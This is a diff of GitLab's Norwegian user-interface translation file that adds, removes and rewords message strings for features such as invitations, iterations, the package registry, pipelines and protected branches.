-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr "Bli med nå"
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr "Ringer"
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr "Jobb-artifakt"
msgid "Job artifacts"
msgstr "Jobb-artefakter"
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "Jobben har blitt slettet"
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr "Jobben ble forsøkt på nytt"
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "Jobber"
@@ -18997,9 +18694,6 @@ msgstr "med"
msgid "Join Zoom meeting"
msgstr "Bli med på Zoom-møte"
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr "LFS-objekt"
-
msgid "LFS objects"
msgstr "LFS-objekter"
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr "Lær hvordan man aktiverer synkronisering"
-
msgid "Learn more"
msgstr "Lær mer"
@@ -19602,6 +19290,9 @@ msgstr "Lisenshistorikk"
msgid "License ID:"
msgstr "Lisens-ID:"
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr "Lisensoversikt"
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr "Vis hele filen"
msgid "Made this issue confidential."
msgstr "Gjorde denne saken konfidensiell."
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr "Vedlikeholdsmodus"
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr "Gjør denne saken konfidensiell."
-msgid "Manage"
-msgstr "Administrer"
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "Maks tilgangsnivå"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr "Maksforsinkelse (i minutter)"
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr "En økts maksvarighet."
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr "Maks filstørrelse er 2MB. Vennligst velg en mindre fil."
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr "Maks importstørrelse (MB)"
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Median"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr "f.eks. foresprl./sek"
msgid "Mi"
msgstr "Mi"
-msgid "Microsoft Azure"
-msgstr "Microsoft Azure"
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr "Gruppemilepæl"
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Milepælen %{milestoneTitle} ble ikke funnet"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr "Pågående saker (åpne og tilordnede)"
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr "Opprett retningslinje"
@@ -21872,8 +21563,8 @@ msgstr "Navn"
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
-msgstr "Nettverksretningslinje"
+msgid "NetworkPolicies|Network"
+msgstr ""
msgid "NetworkPolicies|Network traffic"
msgstr "Nettverkstrafikk"
@@ -21929,15 +21620,15 @@ msgstr "Regler"
msgid "NetworkPolicies|Save changes"
msgstr ""
+msgid "NetworkPolicies|Scan Execution"
+msgstr ""
+
msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
-msgid "NetworkPolicies|Status"
-msgstr "Status"
-
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22132,9 +21823,6 @@ msgstr "Tittel på den nye saken"
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr "New milestone"
msgid "New password"
msgstr "Nytt passord"
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "Ingen kodelager"
-msgid "No required pipeline"
-msgstr "Ingen påkrevd rørledning"
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr "Ingenting ble funnet …"
msgid "Nothing to preview."
msgstr "Ingenting å forhåndsvise."
-msgid "Nothing to synchronize"
-msgstr "Ingenting å synkronisere"
-
msgid "Notification events"
msgstr "Varslingshendelser"
@@ -22788,9 +22470,6 @@ msgstr "Begynner"
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr "Antall %{itemTitle}"
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr "Pakketypen må være PyPi"
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr "Kopier Pip-kommando"
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr "Slett pakkeversjonen"
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr "NuGet-kommando"
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr "Pip-kommando"
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr "Klarte ikke å laste inn pakke"
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr "Pause"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Totalt:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr "med trinn"
msgid "Pipeline|with stages"
msgstr "med trinn"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr "Rediger profil"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr "'%{project_name}'-prosjektet vil bli slettet den %{date}"
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr "Prosjektet er allerede slettet"
msgid "Project and wiki repositories"
msgstr "Prosjekt- og wikikodelagre"
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "Prosjekt avatar"
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr "Prosjektbeskrivelse (valgfritt)"
-msgid "Project details"
-msgstr "Prosjektdetaljer"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr "Prosjektoversikt"
-
msgid "Project path"
msgstr "Prosjektfilbane"
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr "Prosjekt-sikkerhetsstatus"
@@ -25667,9 +25370,6 @@ msgstr "Vis mer"
msgid "ProjectLastActivity|Never"
msgstr "Aldri"
-msgid "ProjectLifecycle|Stage"
-msgstr "Trinn"
-
msgid "ProjectOverview|Fork"
msgstr "Utgreining"
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr "Opprett blankt prosjekt"
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr "Opprett fra mal"
@@ -26303,9 +26000,6 @@ msgstr "Importer"
msgid "ProjectsNew|Import project"
msgstr "Importer prosjekt"
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Start i gang kodelageret med en README"
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr "Aktiv"
-msgid "PrometheusService|Auto configuration"
-msgstr "Auto-oppsett"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "Vanlige måltall"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "Tilpassede målinger"
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr "Behandle klynger"
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "Mere informasjon"
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr "Forfrem"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr "Forfrem saken til en epos"
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr "Forfremmet en konfidensiell sak til en ikke-konfidensiell epos. Informasjon i denne saken er ikke lenger konfidensielle, ettersom eposer er offentlige for gruppemedlemmer."
-
msgid "Promoted issue to an epic."
msgstr "Forfremmet saken til en epos."
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr "Gren"
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr "Beskytt"
@@ -26684,6 +26375,9 @@ msgstr "Beskytt en gren"
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} vil være skrivbar for utviklere. Er du sikker?"
@@ -26744,18 +26441,30 @@ msgstr "Miljøet ditt er beskyttet."
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr "Miljøet ditt er blitt ubeskyttet"
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
-msgstr "Protokoll"
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "Leverandør"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr "Registrer med 2-trinnsapp"
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr "Avslått (lukket)"
msgid "Related Issues"
msgstr "Relaterte saker"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr "Relaterte saker"
@@ -27366,6 +27081,9 @@ msgstr "Fjern lisens"
msgid "Remove limit"
msgstr "Fjern grensen"
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr "Fjern medlem"
msgid "Remove milestone"
msgstr "Fjern milepæl"
-msgid "Remove node"
-msgstr "Fjern node"
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr "Fjern hovednode"
-
msgid "Remove priority"
msgstr "Fjern prioritet"
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr "Fjern sekundærnode"
-
msgid "Remove spent time"
msgstr "Fjern brukt tid"
@@ -27555,15 +27264,18 @@ msgstr "Gjenåpnet denne %{quick_action_target}."
msgid "Reopens this %{quick_action_target}."
msgstr "Gjenåpner denne %{quick_action_target}."
-msgid "Repair authentication"
-msgstr ""
-
msgid "Replace"
msgstr "Erstatt"
+msgid "Replace %{name}"
+msgstr ""
+
msgid "Replace all label(s)"
msgstr "Erstatt alle stempler"
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr "Svar via E-post"
@@ -27981,6 +27684,9 @@ msgstr[1] "Krever %d godkjenninger til."
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
